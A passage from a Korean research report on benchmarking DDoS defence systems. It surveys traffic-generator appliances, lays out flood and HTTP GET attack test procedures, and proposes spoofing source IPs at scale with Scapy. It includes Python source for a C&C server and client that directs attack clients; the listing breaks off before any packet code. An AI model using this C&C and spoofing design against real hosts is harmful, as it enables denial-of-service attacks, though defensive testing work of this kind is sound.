63 10/100/1000 Interface Card 그외프로토콜및기능별옵션및라이선스 제공. 하나의섀시에두개의카드설치가능 프로토콜및기능에대한다양한옵션이제공되 며, 각옵션들에대한라이선스가제공 라. 소프트웨어요구사항 [ 표 4-8] 소프트웨어요구사항 시스템운용시스템 Third-party Software 요구사항 Windows 2000 Windows XP - Professional Edition 권장 Microsoft Excel : 결과가 CSV 파일로저장되며, 분석 시 Excel 이필요 Internet Explorer 6.0, Service Pack 1 이상 : 결과파일 을 HTML 형식으로변환및확인시필요 Adobe Acrobat Reader 4.0 또는그이상 : 결과파일을 PDF 파일로변환및확인시필요 Java Virtual Machine (JVM) 또는그이상 3. BreakingPoint Elite [3,4] BreakingPoint Elite 장비는고성능의네트워크장비및어플리케이션서버테스트를위한 L2-L7 트래픽발생이가능하며, 한번의설정으로간편하게사용가능한장비다. HTTP 프로토콜기반의테스트환경및 L4-L7 트래픽을발생하는기존의장비와는다르게, BreakingPoint Elite 장비는 40Gbps의실시간보안공격이혼합된어플리케이션트래픽발생이가능하다. 가. BreakingPoint Elite 의주요특징

64 o 서버, 스위치, 로드밸런싱, 프록시, 방화벽, IDS/IPS, VPN 게이트웨 이, WAN 최적화장비를포함한최신컨텐츠기반의장비테스트를 위한복합적인 L2-L7 트래픽발생 o 복합적인어플리케이션트래픽및실제보안공격 - 70 가지이상의어플리케이션프로토콜 : RADIUS Accounting, RADIUS Access, AOL IM, IRC, Jabber, Windows Live Messenger, Yahoo! Messenger, IBM DB2, Informix, Microsoft SQL, Oracle, Postgres, Sybase, FTP, Gopher, HTTP, NNTP, RSync, TFTP, IPP, NetBIOS, NFS, SMB/CIFS, DCE/RPC, VMware VMotion, IMAP4(IMAPv4 Advanced), POP3 (POP3 Advanced), SMTP, Endpoint Mapper, Exchange Directory, MAPI (Exchange), FIX, FIXT, World of Warcraft, H.225.0, H.245, RTP, RTSP (Advanced), SIP, Encrypted BitTorrent, edonkey, Gnutella, RLogin, Telnet, HTTPS, SSH, Twitter, DNS, Ident, Finger, LDAP, NTP, RPC Bind, RPC Mount, SNMP, Sun RPC, Syslog, Time, MM1Chargen, Daytime, Discard, Echo, OWAMP Control, OWAMP Test, QOTD, TWAMP Control, TWAMP Test 등 - IPv6, SSL 지원 - API 사용으로사용자환경의어플리케이션생성 - 혼합프로토콜구현에따른성능저하없음 o 대부분의보안지원 - 3,700 가지이상의실제보안공격 - Microsoft Tuesday 지원 - 80 가지이상의침입회피기술 - Zero-day 어플리케이션트래픽구성 - 매주프로토콜 / 보안업데이트

65 o 어플리케이션프로파일기능으로실제어플리케이션트래픽테스트 o 캡처트래픽을이용, Re-create, Re-play 기능 o 4U Chassis 기반의장비중에서는최강의세션발생성능및 Throughput - 15,000,000 TCP 동시세션 - 초당 1,500,000 TCP 세션 - L4-L7 40Gbps 트래픽, 최대 200Gbps 트래픽까지확장가능 - L2-L3 80Gbps 트래픽, 최대 800Gbps 트래픽까지확장가능 o 높은성능 - L4-L7 트래픽을위한최고의 10Gbps 포트 - 10 GigE / 1GigE, Copper / Fiber 인터페이스 - 다중사용자지원 - 포트당최대의트래픽캡처버퍼 - 최소의장비사용공간 (4U) - 가격대비최고성능의 TCP 세션발생 - 가격대비최고성능의 L4-L7 트래픽 o 테스트자동화및테스트구성환경저장 o Adobe Flash 기반의직관적인매니지먼트 GUI o 리포트자동생성 나. BreakingPoint Elite 시스템구성 o 3 slot chassis with 1 system controller o Up to 2 interface cards per chassis; options include: o 10 GigE interface card: - 4 x 10 GigE ports

66 - XFP interface - 2GB of capture buffer per port o 1GigE interface card: - 8 x 1 GigE ports - SFP interface - 1GB of capture buffer per port 다. BreakingPoint Elite 시스템특성 o Rack Units: 4 o Installed: 17.4"(W) x 7"(H) x 19.5"(D), 44.2cm(W) x 17.8cm(H) x 49.8cm(D) o Shipping Weight: 45 lbs. (20.4kg) o Operating Environment: 15 C to 40 C o Non-Operating Environment: -20 C to 70 C o Power Requirements: V, 50/60Hz o Maximum Power Consumption: 1200W o Regulatory Approvals: FCC Class A, CE, EN60950 o One-year Warranty 4. Ixia(IxChariot) [6] IxChariot은유 / 무선네트워크간의성능을테스트할수 ldt는테스트솔루션이다. IxChariot은실제적인네트워크상황과거의유사한트래픽을발생시킨후, 이러한조건에서시스템이나장비의성능, 그리고 IPTV, VOD, VoIP 등의품질을예축해줄수있다. 또한, IxChariot은 WiFi Alliance의표준인증을위한공식테스트장비로사용되고있다. 기업체들의네트워크와시스템등의업그레이드와서비스어플리케이션의적용및다양성에따라, 네트워크나시스템의성능및취약점에대

67 한점검은관리를위한중요한사항중에하나이다. IxChariot 의테스트 솔루션을이용하여, 기업체나관공서등의네트워크, Infrastructure 나시 스템의안정성을가져오기위해테스트하고점검할수있도록지원한다. 가. IxChariot 의주요특징 o 멀티플랫폼지원 - IxChariot는다음항목을포함한 30개이상의플랫폼에서트래픽을생성하는경량의성능종단점집합을지원 Ixia의성능테스트시스템 HP-UX IBM AIX Linux Mac OS X Microsoft Windows CE, NT, XP, 2000, 2003, Vista Sun Solaris 나. Test plans o Testing Packet Switched Network Performance of Mobile Wireless Networks o WLAN Roadming Performance Testing o WLAN Testing o Triple Play Testing with IxChariot o Testing L7 Traffic shaping Polices o IPv4/IPv6 and baseline IPv6 performance Testing o DoS(Denial of Service) Attack Testing o NAT Network Testing o VoIP Testing with measuring VoIP Call Quality by E-Model

68 o Conformance and Performance Testing for IP Sec Virtual Private Networks (IPSec) o Conformance and Performance Testing for Multi-Protocol Label Switching(MPLS) 4. Ixia(IxLoad) Layer4부터 Layer7까지의어플리케이션레벨을지원하는장비및시스템의성능, 기능, 품질을측정한다. IxLoad는 video, voice, data 등의 multiplay 서비스와어플리케이션전송플랫폼의융합을테스트하기위한솔루션이다. IxLoad는 data, voice, video 가입자들을에뮬레이션하고이와관계된프로토콜과콘텐츠를생성하여테스트하고자하는플랫폼의성능측정및가입자들이느끼는 data의접속속도품질, voice의품질, video의품질을측정한다. MPEG, IGMP, RSTP 등과같은 video 관련프로토콜, SIP, H.323, H.248, SCCP, MGCP 등과같은 voice 관련프로토콜, HTTP, P2P, FTP, SMTP 등과같은 data 관련프로토콜, 이에더해, Infrastructure의측면에서중요한사항인 DNS. DHCP, AAA 서비스, 그리고 802.1x와 NAC 와같은 Ls/L3 인증메커니즘을포함한보안관련된프로토콜등과함께방대한트래픽을생성하여기업의네트워크구성장비및시스템을테스트할수있다

69 ( 그림 4-3) video voice data traffic mix [4] 가. IxLoad 의주요특징 o 비디오 (Video) 테스팅 - IxLoad는비디오서버, 멀티캐스트라우터, 비디오네트워크등의성능을측정한다. 이때 IxLoad는비디오서버와수백만명의 VoD, Broadcast 비디오가입자를에뮬레이션한다. MPEG, IGMP, MLD, RTSP등의프로토콜을지원하고있으며, MDI를이용한네트워크상의비디오전송품질과 TVQM을이용한비디오품질을측정할수있다. o 보이스 (Voice) 테스팅 - IxLoad는 VoIP 네트워크장비와서비스의기능성을테스트한다. 지원프로토콜은 SIP, SCCP (Skinny), H.323, MGCP와 H.248 (MEGACO) 이다. IxLoad는수천의 SIP 발신자 (caller) 와수신자 (callee) 를이용한성능테스트시나리오생성이가능하다. 또한

70 SIP Class 5 에뮬레이션및리얼타임 PESQ 스코어제공등다수의 call 시나리오와테스트환경을제공한다. o 컨텐츠 (Content-aware) 네트워크테스팅 - IxLoad는 Deep Packet Inspection(DPI) 장비, 로드밸랜서 (Server Load Balancers-SLB), 방화벽 (Firewall), 웹서버 (Web Server), 메일서버 (Mail Server) 등을포함한장비와컨텐츠네트워크 (Content-aware) 의성능을측정한다. 이때, 수백만의클라이언트 (Client) 와다양한서버군 (Servers) 을실제적인성능테스트시나리오생성이가능하다. TCP, HTTP, SSL FTP, SMTP, POP3, IMAP, RTP, Telnet, DNS, LDAP, DHCP, SIP, MPEG, IGMP등의프로토콜을지원하며, 취약성 (Vulnerability) 패턴및 Distributed Denial of Service(DDoS) 어택테스트도가능하다. - IxLoad는 stateful traffic 을이용실제어플리케이션트래픽을생성한다. 또한캡처된트래픽을재가공하여트래픽생성이가능하다. - IxLoad는그외에도 P2P (BitTorrent, edonkey) 와 PPPoE, SSL, RADIUS, WAP 등의테스트도가능하다. o Layer 4-7 보안테스팅 - IxLoad는방화벽 (Firewall), SSL게이트웨이, 바이러스스캐너 (Virus Scanner), 스팸필터 (Spam Filter), Intrusion Detection Systems(IDS), Intrusion Prevention Systems(IPS) 등의 Layer 4-7 보안장비의성능을테스트한다. 이때 Distributed Denial of Services(DDoS) 뿐만아니라다양한 Layer 4-7프로토콜을사용하여클라이언트 (Client), 서버 (Server) 생성이가능하다. 중요요소는다양한유저트래픽의혼용과비정상트래픽, 바이러스메일등을생성할수있다

71 o Layer 2-3 보안테스팅 - IxLoad는 802.1x인증관련테스트가가능하다. 이때, Large-Scale의 802.1x 클라이언트 (supplicants) 생성을지원한다. MD5, TLS, TTLS, PEAP, NAC의인증모드를지원한다. o 무선 (Wireless) 테스팅 - WAP, GTP 프로토콜지원과 GGSN 테스팅을위한 SGSN 을생성한 다. o 브로드밴드 (Broadband) 테스팅 - B-RAS, DSLAM, CMTS, Edge라우터를포함한브로드밴드 (Broadband) Aggregation장비를테스트한다. PPPoE, PPPoA, L2TPv2, L2TPv3를지원한다. 5. SmartBits(SmartApplication) [7] 스마트어플리케이션은 Internet engineering Task Force(IETF) 에기반 을둔위도우기반의어플리케이션이다. 또한인터커넥트테스팅을지원 한다. o Benchmarking Methodologies Working Group RFCs - RFC 1242 "Benchmarking Terminology for Network Interconnection Devices" - RFC 2544 "Benchmarking Methodology for Network Interconnect Devices" 가. SmartApplication 의주요특징 o 10/100/1000 Ethernet, Token Ring, ATM 과 Frame Relay, 혼합된

72 토플로지의테스팅이가능 o 모든스마트카드와호환 o GPS를이용하여리모트레이턴시단방향테스팅가능 o Layer 2, Layer 3테스트가능 o "Next Hop" 라우터테스트가능 o 1 to 1, 1 to Many, and Many to 1 테스트가능 o 단방향과양방향테스트가능 6. SmartBits(SmartFlow) SmartFlow 는 QoS 테스트를위한최초의어플리케이션으로활용도가 많다. ( 그림 4-4) SmartFlow Overview [8] 가. SmartFlow 의주요특징

73 o Layer 2/3 testing 을위한정교한 Network/VLAN 지원 o priority option 과 flow 당 rate 를포함하는정교한 QoS 지원 10/100/Gig/10Gig Ethernet 지원 o ATM OC3c/12c, WAN (Channelized DS3), POS OC3c/12c/48c/192c 지원 o 여러개의트래픽형태를가지는 Test setup Wizards o unicast 와 multicast traffic 지원 o UDP/TCP/ICMP 데이터를가지는 IPv4와 IPv6 지원 o high density "cyclic" flows 지원 o BGP4 (flapping 포함 ) 와 MPLS (RSVP-TE) 지원 o 자세한히스토그램분석및통계 o Tracks per-test, per-group, per-port, and per-stream results o Tracks errored and stray flows o 다양한형식의결과치저장 (including HTML) o SAI (Script Automation Interface) export for test automation 나. SmartFlow 신기능 o Traffic re-classification에대한 SmartTracker 테스트 o Flow 당가중된프레임크기의 IMIX (Internet mix) 설정. o VLAN stacking ("Q-in-Q" 그리고 Super VLANs" 로알려져있음 ) o Flow당그리고테스트당속도배분에의한 Flow 조절 o XD LAN 포트기반에서 2,047개의 non-cyclic flows 지원 o SmartBits 600B 섀시 o LAN-33xx 모듈의포트에서 ICMP protocol 지원. o ATM에대한새로운 Encapsulation Modes (bridged) 지원 o Frame 수에의한전송지원 o 단일포트테스트지원

74 o Track Padded 프레임지원 o 38-byte PDU 전송지원 o 결과에대한 Frame Loss filter 지원 o Custom Frame 지원. o 포트당 SAI Multiple IPv6 prefixes 지원 o Prefix당여러개의 IPv6 VLANs o Custom SAI Export 업데이트 o LAN-33xx 모듈에서 10,000 바이트의 Jumbo frame 크기지원 o 최대 ATM flows 8,000개 ) o Port pairs 목록변경 ( 역방향 ) o 프레임크기별로 o Flow 당 Custom Frame sizes와속도는동시에운용되어짐 7. ThreatEx(ThreatEx 2900) [9] ThreatEx는네트워크및구성장비의신뢰성테스트를위해 Denial of Service (DDoS), CodeRed II worm, Nimda, SQL Slammer 와같은다양한유해트래픽을발생을통한트래픽발생을통한네트워크와구성장비 (IPS, IDS, Firewall, Application Server등 ) 보안장비의신뢰성 (Reliability) 테스트제공한다. ( 그림 4-5) ThreatEx 의 DUT Test [10]

75 Avalanche제품과함께사용하여실제인터넷상의트래픽과동일하게다양한 HTTP, FTP, DNS, TELNET, 스트리밍등과같은일반트래픽을발생하며이일반트래픽과 ThreatEx에서생성한유해트래픽을함께발생하여, 정상트래픽과유해트래픽이하나의 port 로발생하여보안장비의기능과성능시험을제공한다. ThreatEx는다양한 DDoS Traffic(SynAttack, Syn Flooding, Smurf, Ping attack 등 ) 을제공하며, ThreatEx Designer를사용하여, 사용자가정의한공격패턴을정의하여, 더욱강력한테스트를제공한다. ( 그림 4-6) ThreatEx Appliance [10] 가. ThreatEx Appliance 인터페이스 o Pass Thru Interface : 외부의트래픽을받아주는 interface o Threat Generation Interface : 유해트래픽을발생하는 interface로서 Pass Thru interface 사용시이 interface를통하여일반트래픽을보낼수있음 o Virtual Server (Reflector) Interface : 어택의대상 interface 로서어택을수신하는 interface

76 나. Software Option (1) 유해트래픽업데이트 (ThreatEx Knowledge Base) 웹기반의 Subscription Service 로서매일새롭게발생되는 Attack 들에대한업데이트서비스, 메일링리스트에등록을하면매일업데이트되는 Attack에대한정보를메일로받을수있으며, 또한 Web으로접속하여 ThreatEx를제어하는 PC에다운받아서사용할수있다. (2) 트래픽에디터 (ThreatEx Designer) 기존유해트래픽또는새로운트래픽을사용자가생성하거나변경하 여 ThreatEx 를통하여발생할수있는소프트웨어로써다음과같은일 을한다. o Develop Site Specific Threats : 사용자가특수한 Threats를생성하여발생할수있음 o Variants of Existing Threats : 현재존재하는 Threats를사용자가변형을하여발생할수있음 o New Protocols : 사용자가새로운프로토콜생성가능 o Payload Editor : 사용자가원하는페이로드를설정하여발생가능 o File Capture / Replay (3) ThreatEx Protocol Fuzzing Suite (Voice, IPTV, WEB) Voice, IPTV, WEB 각각의 Test Suite 별백만개이상의다양한 Test Case 를제공하여네트워크또는네트워크장비에서알려지지않은문 제점을사전확인하여실제네트워크에서장애발생확률을줄여준다

77 (4) WIFI Attack Test Suite o ThreatEx appliance에서 WiFi attack 지원 o a/b/g 지원 o Denial of Service (DoS) 지원 o Scanning 지원 o Stateful 과 stateless attacks 지원 (5) 자동화지원 (Threat Walker) o 유해트래픽의주기적인발생 o TCL 을이용한자동화지원 o 기본제공프로그램 제 2 절계측기를통한 DDoS 대응용량측정방법조사 [11] 1. DDoS 한계용량준비사항 아래내용은계측기를이용한한계용량측정방안이므로계측기및계 측방법은변경될수있다. 가. BMT Testbed 구성용준비사항 (1) DDoS 한계용량대응시스템 ( 이하, 시험대상장비 or DUT (Device under Test))

78 ( 가 ) 시험대상장비는테스트에참여하는업체가준비 ( 나 ) 시험대상장비는시험중문제발생을고려하여 ( 가급적 ) 2 대이상 준비 ( 다 ) 시험대상장비에필요한기타물품준비 o 1GE : GBIC, multimode cable o 10GE : GBIC( 필요시 ), singlemode cable (2) 시험장비 ( 가 ) Test traffic 생성용계측기 STC : TTA 준비 ( 나 ) Test traffic 생성용계측기 Avalanche/Reflector : TTA 준비 o Avalanche/Reflector set (10/100/1000 UTP 8 ports) o Avalanche/Reflector set (1 GE Fiber 8 ports) ( 다 ) Test traffic 생성용계측기 Smartbit : TTA 준비 (3) Testbed 구성용부가장비 ( 가 ) 부가장비 o Switch 4 대 ( 시험대상장비및계측기연결 interface 고려준비 ) o Router 1 대 ( 시험대상장비및계측기연결 interface 고려준비 ) o IPCheck network monitoring tool o DDoS attack tool (Netbot)

79 2. 시험항목 [ 표 4-9] 시험항목 번호대분류중분류소항목비고 1 TCP Syn Flood 2 UDP Flood Flood 공격 3 ICMP Flood 4 TCP ACK Flood 5 6 DDoS 공격, 탐지 / 차단 Fragment 공격혼합공격 UDP Fragment ICMP + UDP Flood Valid HTTP Get 7 기능 Flood 응용계층 (L7) Invalid HTTP Get 8 공격 Flood 9 DNS Query Flood 10 대량 UDP UDP Flood(1,518 Flood Byte) 11 ICMP Flood 12 C o m m o n UDP Flood 13 Attack UDP Small Size 14 TCP Multi-Connect DDoS 공격 15 NoCache Get Flood 툴, 탐지 / 차 Web Attack 16 HTTP GET Nothing 단기능 17 SYN+UDP Flood 18 C o m b i n e Attack ICMP+TCP Flood 19 UDP+TCP Connect Health check 및정상 traffic(http) 동시인가피해사이트로의정상접속측정 (HTTP 접속 ) 및정상 traffic(http) 동시인가 20 기타 Established Attack 21 안정성 ( 탐지 정상상태 Frame Loss, Latency 22 기능만 On) 정전발생시 Frame Loss, Latency

80 3. 시험방법 ( 그림 4-7) DDoS 한계용량측정구성도 가. DDoS 공격탐지 / 차단기능 (1) 시험목적 Normal( 정상 ) traffic 및 Health check traffic 과함께인가된 Attack traffic 에대한차단기능을확인한다. (2) 시험구성 ( 가 ) DUT 와계측기를연결

81 ( 나 ) DUT 에공격탐지및차단기능설정 ( 다 ) 계측기 (Avalanche) 에 Normal traffic 설정 ( 라 ) 계측기 (STC) 에 Health check 및 Attack traffic 설정 ( 마 ) 계측기 (Smartbit) 에 Attack traffic 설정 (3) 시험절차 ( 가 ) Test traffic 구성 (Flood, Fragment, 혼합공격 ) [ 표 4-10] Test traffic 구성 (Flood, Fragment, 혼합공격 ) Test traffic type Target Test traffic Load Attack Traffic Victim TCP Syn Flood (900 Mbps) 128 Byte UDP Flood (900 Mbps) 1,518 Byte ICMP Flood (900 Mbps) 512 Byte TCP Ack Flood (900 Mbps) 128 Byte UDP Fragment (900 Mbps) 128 Byte ICMP+UDP Flood (450 Mbps * 2) 각512 Byte Health check Traffic Victim HTTP (1 cps) Normal Traffic Reflector HTTP (10,000 Tps) ( 나 ) Normal traffic 및 Health check traffic 을 DUT 로인가 1) Avalanche Normal traffic

82 o Protocol o Variations o Traffic load : HTTP 1.0 without keepalive : Src IP 2,500 개 / port, Dst IP 200 개 / port : 10,000 Tps 2) STC Health check traffic o Protocol o Variations o Traffic load : HTTP 1.0 without keepalive : 1 (host pool) : 1 cps ( 다 ) Normal traffic 및 Health check traffic 이 sustain 구간에접어든 1 분 후 Attack traffic 을동시인가 1) STC Attack traffic o Variations o Frame size o Input load o Total duration : Src IP 100 개 : 각 Attack type 별변동 size : 900 Mbps (90% of 1 Gbps interface rate) : 8분 2) Smartbit Attack traffic o Traffic direction : 1-to-1, uni-directional o Attack Type : 1-to-1, uni-directional o Variations : Src IP 200개 /port, Dst IP 200 or 1개 /port o Frame size : 1,518-Bytes o Input load : 8 or 16 Gbps o Total duration : 8분

83 ( 라 ) 각 Attack traffic 별로 DUT 탐지화면및시험결과저장 ( 마 ) Test traffic 구성 ( 세션, L7 공격 ) [ 표 4-11] Test traffic 구성 ( 세션, L7공격 ) Test traffic type Target Test traffic Load Attack Traffic Victim Valid HTTP Get Flood (18,000 Tps) Invalid HTTP Get Flood (18,000 Tps) DNS Query Flood (10,000 Qps) Health check Traffic Victim HTTP (1 Tps) / DNS (1 Qps) Normal Traffic Reflector HTTP (10,000 Tps) ( 마 ) Normal traffic 및 Health check traffic 을 DUT 로인가 1) Avalanche Normal traffic o Protocol o Variations o Traffic load : HTTP 1.0 without keepalive : Src IP 2,500 개 / port, Dst IP 200 개 / port : 10,000 Tps 2) Avalanche(IPCheck) Health check traffic o Protocol o Variations o Traffic load o DNS query : HTTP 1.0 without keepalive, DNS (IPCheck) : 1 (host pool) : HTTP (1 Tps), DNS (1 Qps) : ( 바 ) Normal traffic 및 Health check traffic 이 sustain 구간에접어든 1 분

84 후 Attack traffic 을동시인가 1) Avalanche Attack traffic o Protocol : HTTP 1.0 without keepalive, DNS (invalid domain) o Variations : 200 (host pool) o Traffic load : HTTP (18,000 Tps), DNS (10,000 Qps) o DNS query : invalid.tta.or.kr o Total duration : 10분 (Sustain time : 7분 ) 2) Smartbit Attack traffic o Traffic direction o Attack Type o Variations o Frame size o Input load o Total duration : 1-to-1, uni-directional : UDP Flooding : Src IP 200개 /port, Dst IP 200 or 1개 /port : 1,518-Bytes : 8 or 16 Gbps : 8분 ( 사 ) 각 Attack traffic 별로 DUT 탐지화면및시험결과저장 (4) 시험결과 ( 가 ) Normal traffic 결과저장 (Avalanche) o # of Attempt HTTP requests o # of HTTP requests successful o # of HTTP requests failed 등

85 ( 나 ) Health check traffic 결과저장 (STC, Avalanche) 1) HTTP o # of HTTP requests o # of HTTP requests successful o # of HTTP requests failed 등 2) DNS o # of DNS query requests o # of DNS query request successful o # of DNS query request failed 등 ( 다 ) Attack traffic 결과저장 (STC, Avalanche, SmartBits) 1) Flood, Fragment, 혼합공격 o 총 8 분 attack time 내에송수신량을기준으로차단량 ( # of Tx Frames - # of Rx Frames) 을기록하고이값을 pps/bps 로환산 하여기록 2) 세션, L7 공격 o Health check traffic 결과와동일필드결과값 장비 Down 이나재부팅발생시간략한사유 / 원인 ( 불명포함 ) 필히 기록요망

86 나. DDoS 공격툴대응성능 (1) 시험목적 DDoS 공격툴로공격시피해웹서버에대한보호성능을측정한다. (2) 시험구성 o DUT와 Attack PC, Health Check PC를연결 o DUT에공격탐지및차단기능설정 o 계측기 (Avalanche) 에 Normal traffic 설정 o Attack PC에 Attack traffic 설정 o Health Check PC를통해웹서버보호유무측정 (3) 시험절차 ( 가 ) Test traffic 구성 ( 나 ) Normal traffic 을 DUT 로인가 1) Avalanche Normal traffic o Protocol o Variations o Traffic load : HTTP 1.0 without keepalive : Src IP 2,500 개 / port, Dst IP 200 개 / port : 10,000 Tps ( 다 ) Normal traffic 이 sustain 구간에접어든 1 분후 Attack PC 로부터 Attack traffic 및 Health Check PC 로부터 Health Check traffic 을인가

87 1) Attack PC 에설정한 Attack traffic (10 종 ) o Total duration : 8 분 2) Health Check PC 에설정한 Health Check traffic o Protocol o Total duration : HTTP : 8 분 ( 라 ) Health Check PC 결과및 DUT 탐지화면저장 (4) 시험결과 ( 가 ) Normal traffic 결과저장 (Avalanche) o # of Attempt HTTP requests o # of HTTP requests successful o # of HTTP requests failed 등 ( 나 ) Attack traffic 결과저장 o 총 8 분 attack time 중 Health Check PC 의 IPCheck Network monitor 의 HTTP request report 의처음 4 분이지난후 3 분간의결 과를최종데이터로활용 ( 다 ) Attack traffic 결과저장 ( 피시험장비 ) o Average Tx bps, Average Rx bps (Attack traffic 생성시작전과

88 후의화면덤프, 로그파일등으로저장 ) 장비 Down 이나재부팅발생시간략한사유 / 원인 ( 불명포함 ) 필히 기록요망 다. 안정성 (1) 시험목적 DUT 에공격탐지기능만 Enable 한상태에서 DUT 가정상동작시와 고장 ( 정전 ) 발생시 test traffic 의전송성능을측정하고비교한다. (2) 시험구성 o DUT 와계측기를연결 o DUT 에공격탐지기능만설정 o 계측기에 test traffic 을설정 (3) 시험절차 ( 가 ) Test traffic 구성 o Traffic pattern o Protocol o Variations o Frame size o Input load o Duration : 1-to-1, uni-directional (externalàinternal) : UDP : 2,000,000 (src. IP), 10,000 or 9 (dest IP) : 512-bytes : 8 or 16 Gbps : 10분

89 ( 나 ) 계측기에서 test traffic 을 DUT 로인가하고아래항목측정 o Frame Loss o Frame Latency ( 다 ) 시험결과저장 ( 라 ) 계측기에서 test traffic 을 DUT 로재인가 ( 마 ) Test traffic 인가시작후 3 분후 DUT 전원차단 ( 바 ) 계측기에서아래항목측정 o Frame Loss o Frame Latency ( 사 ) 시험결과저장 (3) 시험결과 ( 가 ) 계측기시험결과 o Frame Loss (# of Frame loss, Frame loss rate) 기록 o Frame Latency (Average latency) 기록 장비 Down 이나재부팅발생시간략한사유 / 원인 ( 불명포함 ) 필히 기록요망

90 제 3 절계측기측정방법의타당성분석 계측기를통한네트워크대역폭용량측정과세션연결수의측정은 DDoS 플러딩공격및실제정상사용자의접속에따른값과같은지측정할필요성이있다. 실제봇넷을이용한 DDoS 한계용량측정과 IP대량생성방안연구결과를반영하여측정한결과값을비교한다. 실제 DDoS 사이버대피소한계용량측정시이들의결과값을비교하여계측기를통한장비의성능시험결과가실제 DDoS 공격과같은성능을발휘되는지측정한다

91 제 5 장연결형공격대응을위한 출발지 IP 대량생성방안연구 제 1 절출발지 IP 대량생성방안 제 2장에서언급된것과같이최근 DDoS 공격자들은인터넷서비스제공사업자의방어기제를회피하여공격목표를공격하는방향으로진화하고있으며이러한동향은 7.7 DDoS 등최근발생한대부분의공격이어플리케이션및호스트의논리적가용성을침해하는방향으로나타난것을통해확인할수있다. 이러한유형의공격은단순 flooding을통한네트워크대역폭소진공격과는달리다양한공격방식이사용되며이중대표적인공격형식은 HTTP 서버의가용성을직접적으로위협하는 GET Flooding과그 CC-Attack 등의 TCP 연결소진형공격형식이다. 이러한공격을수행하기위해서는공격자와방어자의자원사이에비대칭성이확보되어야하며이를위해공격자는취약한 PC를사용한좀비네트워크를구성한다. 이렇게구성된좀비네트워크공격자원의총합이방어서버의자원의합계를넘어설때공격자의 DDoS 공격이효과적으로수행될수있다. 그러나공격자의자원이이러한임계치를넘어서는것에멈추는경우방어자는단위 IP 당생성하는연결수가일반사용자의그것을넘어서게되어공격 IP가차단되는결과를가져오게된다. 이러한문제점을해결하기위해고급공격자는수천에서수백만대의좀비PC를구성하여단위 IP당생성하는연결수가정상사용자의연결수를넘어서지않도록구성한다. 따라서 DDoS 대응체계의성능을시험하기위해서는이러한공격자환경을구성하는것이필수적이나수천에서수백만에이르는실공격 IP를적법한방법으로획득하는것이사실상불가능하여수십대의좀비네트워크를구성한방어체계점검이시행되어왔다. 본

92 연구과제에서는이러한문제점을해결하기위해네트워크망구성변경과 Scapy를이용한유저수준 (User Level) 에서의위조 IP 생성을통해이러한문제점을해결하는방안을제시한다. Scapy는파이썬 (Python) 언어로구성된네트워크점검패키지로네트워크패킷수집, 패킷위조및패킷분석기능을제공하며사용자는이러한단위기능을이용하여네트워크탐침 (Probe), 스캔혹은공격을수행하는도구를제작할수있다. ( 그림 5-1) Scapy 를이용한네트워크패킷분석 ( 예 ) 제 2 절 IP 대량생성소스코드 1. 개요 IP 대량생성을위한소스코드는 C&C 채널을구성하는서버, 클라이언트모듈로구성된다. 이때명령서버는다수의공격클라이언트에명령을전달하고행위를제어하는역할을수행하며클라이언트는전달된명령에따라다양한 DDoS 공격패킷을생성하는역할을수행한다

93 ( 그림 5-2) 클라이언트및서버의구성 클라이언트에서 Scapy 모듈을이용하여공격을수행하는과정은아래와같이이루어진다. 네트워크스택구조와유사한구조를가지고있는 Scapy 모듈은제 2 레이어 (Ethernet), 제 3 레이어 (IP), 제 4 레이어 (TCP) 를순차적으로구성할수있도록설계되어있으며 TCP 삼중연결을통한 HTTP GET Flooding 공격을수행하기위해서는 TCP를이용한제 4 레이어에 HTTP 연결 Payload를가지도록구성한다. 2. 소스코드 파이썬에 Scapy 모듈을 import 하여, 대량의 IP 를생성을하고, 그에 대한한계용량을측정한다. 서버와다중의클라이언트가존재하는가운데, 각각의클라이언트는 서버에접속을한다. 그후에서버는클라이언트들에게대량의 IP 를생 성하라는메시지를보내고, 그메시지를받은각각의클라이언트들은각

94 자대량의 IP 를생성한다. 가. 서버소스 [ 표 5-1] 서버소스 #!/usr/bin/env python from socket import * import threading import thread cv=threading.condition() #Condition 객체사용 lock=thread.allocate_lock() count=0 #thread의개수를체크 ( 여기선 3개를생성 ) conn=[] # 후에접속되어있는 ( 여기선 3개 ) 클라이언트모두에게 # 보내기위해쓰임. 들어오는클라이언트들의소켓객체 # 를저장 def control(name): global count print 'thread start!\n' while 1 : cv.acquire() # 멀티쓰레드를구현하기위해서 Condition객체사용 # 멀티쓰레드를위해락을걸음. if count < 3 : # 접속클라이언트수만큼 count가되었으면 if문이하 # 를실행하지않음. print 'waiting\n' cv.wait() # 멀티쓰레드를위해 wating시켜, Queue에대기시킴. print 'wakeup, count=',count cv.release() continue cv.release() break data = raw_input('insert the number : ') # 접속한모든클라이언트에게보낼 # 메시지를입력함. for i in range(3): # 각클라이언트에서버에서입력한 # 데이터를보냄. conn[i].send(data) conn[i].close() print 'send message to all client: ', data # 입력한값을다시확인함 if name == ' main ': # thread control start!

95 thread.start_new_thread(control,('control',) ) # thread_start_new_thread는쓰레드를생성하는모듈로, control은실행될함수, # control' 은인자값. 여기서인자는쓰레기값. HOST='' PORT=21567 BUFSIZ=1024 ADDR=(HOST,PORT) serversock=socket(af_inet,sock_stream) serversock.setsockopt(sol_socket,so_reuseaddr,1) # 이미쓴소켓을다시 # 바로쓰게하기위한소스 serversock.bind(addr) serversock.listen(2) while 1: clientsock, addr = serversock.accept() print 'connected from:', addr data = clientsock.recv(bufsiz) print addr,data clientsock.send(str(addr)) conn.append(clientsock) #conn리스트에클라이언트소 # 켓객체를저장 cv.acquire() #count를증가시키기위한락 count+=1 cv.notify() #queue에서쓰레드를하나꺼냄 cv.release() #count를증가시키기위한락해제 나. 클라이언트소스 #!/usr/bin/env python from socket import * [ 표 5-2] 클라이언트소스 HOST='' PORT=50001 # 로컬서버 IP(Locahost) # 로컬서버 PORT BUFSIZ=1024 clientsock=socket(af_inet,sock_stream) clientsock.connect((host,port)) clientsock.send('client2') add=clientsock.recv(bufsiz) print 'My add is ' + `add` num=clientsock.recv(bufsiz) # 서버로온메시지를받아서출력 (test) # 서버로온메시지를받아서그것을실행함

